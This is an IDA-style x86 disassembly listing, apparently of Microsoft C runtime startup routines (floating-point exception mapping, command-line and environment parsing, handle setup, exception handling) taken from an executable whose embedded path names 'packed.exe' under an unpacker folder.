		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2620AB8h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2620D29h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		call	near ptr 2620AB8h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2620D63h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2620858h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 26209E7h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
